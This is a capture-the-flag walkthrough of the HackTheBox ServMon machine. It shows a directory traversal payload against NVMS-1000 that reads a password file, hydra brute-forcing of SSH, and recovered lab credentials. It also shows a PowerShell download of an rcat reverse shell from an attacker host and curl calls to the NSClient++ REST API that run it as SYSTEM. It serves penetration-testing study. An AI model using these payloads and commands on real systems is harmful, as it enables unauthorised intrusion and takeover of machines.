Overview

ServMon is an easy HackTheBox Windows machine that leaks its own attack path through anonymous FTP: user notes hint at a passwords.txt file, and a directory traversal vulnerability in NVMS-1000 (a network video management web app) is used to read it directly off disk. Brute forcing the recovered password list against known usernames over SSH gives a foothold, and privilege escalation abuses NSClient++’s REST API, reachable only after pivoting past its localhost-only binding, to upload and execute a malicious script as SYSTEM.

Attack Chain

  • Scan the target and find FTP, SSH, HTTP, SMB, and NSClient++’s ports
  • Log in to FTP anonymously and retrieve two notes files
  • Find a hint pointing to passwords.txt on a user’s desktop, and other potential attack vectors
  • Identify a directory traversal vulnerability in the NVMS-1000 web app on port 80
  • Use the traversal to read passwords.txt directly, recovering a list of candidate passwords
  • Brute force SSH with hydra using known usernames against the recovered password list
  • Log in over SSH as nadine and read the user flag
  • Find NSClient++ installed under Program Files and recover a password from its nsclient.ini config
  • Identify NSClient++’s web interface is bound only to localhost on port 8443
  • Pivot to it with a ligolo tunnel and log in with the recovered password
  • Transfer an rcat reverse shell payload to the target with PowerShell
  • Use NSClient++’s REST API via curl to upload a malicious script and trigger its execution
  • Catch a SYSTEM shell and read the administrator flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.227.77; export NAME=SERVMON; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -n -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v

nmap results - part 1

nmap results - part 2


FTP Enumeration

Reading Notes and Hints

We log in to FTP anonymously.

ftp ftp://anonymous:anonymous@$IP

We retrieve two files: Confidential.txt from Nadine, and Notes to do.txt from Nathan.

retrieving files over anonymous FTP

We view the files. There’s a reference to a passwords.txt file on Nathan’s Desktop.

note referencing passwords.txt

Notes to do.txt reveals some potential attack vectors.

Notes to do.txt reveals attack vectors


Web Enumeration

Exploiting NVMS-1000 Directory Traversal

Browsing to port 80 shows a login page for NVMS-1000 (Network Video Management Software).

NVMS-1000 login page

NVMS-1000 is vulnerable to directory traversal:

https://www.exploit-db.com/exploits/47774

The payload is straightforward:

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1

We replicate it in BurpSuite.

replicating the traversal payload in Burp

We receive the correct response.

correct response confirms traversal


Foothold

Recovering Passwords via Traversal

We try reading passwords.txt on Nathan’s Desktop.

GET /../../../../../../../../../../../../users/nathan/desktop/passwords.txt HTTP/1.1

requesting passwords.txt via traversal

We find several passwords.

passwords recovered

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

We save the passwords to a file on our attacking machine.

saving the passwords to a file

Brute Forcing SSH

We prepare a usernames and passwords file.

preparing username and password wordlists

We use hydra to find a valid credential pair over SSH.

hydra -L creds/users.txt -P creds/passwords.txt $IP ssh

A valid credential pair is verified.

hydra verifies a valid credential pair

nadine:L1k3B1gBut7s@W0rk

We log in over SSH as nadine.

logging in over SSH as nadine

We read the user flag.

user flag


Privilege Escalation

Recovering the NSClient++ Password

We look in Program Files for interesting applications and find NSClient++.

NSClient++ found in Program Files

We list its contents and find nsclient.ini.

listing NSClient++’s directory

We investigate the file’s contents and find a password, along with confirmation it runs on localhost.

nsclient.ini reveals a password

ew2x6SsGTxjRwXOT

Reaching NSClient++’s Web Interface

Looking back at our nmap results, NSClient++ runs on port 8443.

nmap results confirm the NSClient++ port

We check the NSClient++ version.

cmd /c ".\nscp.exe" --version

We have version 0.5.2.35.

NSClient++ version 0.5.2.35

We try accessing the web app from our browser, but nothing happens, nsclient.ini specifies allowed hosts = 127.0.0.1. We create a ligolo tunnel to view the internal web app from our attacking machine, navigating to:

https://240.0.0.1:8443

We land on a login page.

NSClient++ login page via ligolo

We sign in using the password recovered from nsclient.ini.

signing in to the NSClient++ web interface

Exploiting the REST API

The main exploit explains how to use the web interface to upload and execute a custom script, but we use curl and the API directly instead.

We transfer our rcat reverse shell payload to C:\ProgramData from PowerShell, normal writable folders don’t work.

iwr -uri http://10.10.14.17/rcat.exe -Outfile rcat_10.10.14.17_443.exe

transferring the rcat payload

We navigate to C:\Program Files\NSClient++\.

Note: The curl commands don’t accept the -u flag from PowerShell, so we switch to cmd.

We use curl with the admin credentials and a PUT request to create a script, shell.bat, pointing to our reverse shell payload.

curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/shell.bat --data-binary "C:\ProgramData\rcat_10.10.14.17_443.exe"

We start a nc listener with rlwrap -cAr on port 443, then execute our script.

curl -s -k -u admin "https://localhost:8443/api/v1/queries/shell/commands/execute"

Our commands in cmd:

the curl API commands

We catch a shell as nt-authority\system.

shell as SYSTEM

We read the administrator flag.

administrator flag


Key Takeaways

ServMon is a good demonstration of how much can leak from a single misconfigured anonymous share, user notes referencing a sensitive file were all the direction needed once a directory traversal bug provided the means to read it. The localhost-only binding on NSClient++’s web interface offered a false sense of security: it only kept out remote attackers, not one who had already gained a foothold and could tunnel past it. From there, NSClient++’s own REST API was, by design, a scripting and execution engine, exactly the kind of legitimate feature that becomes a straight path to SYSTEM once authenticated access is available.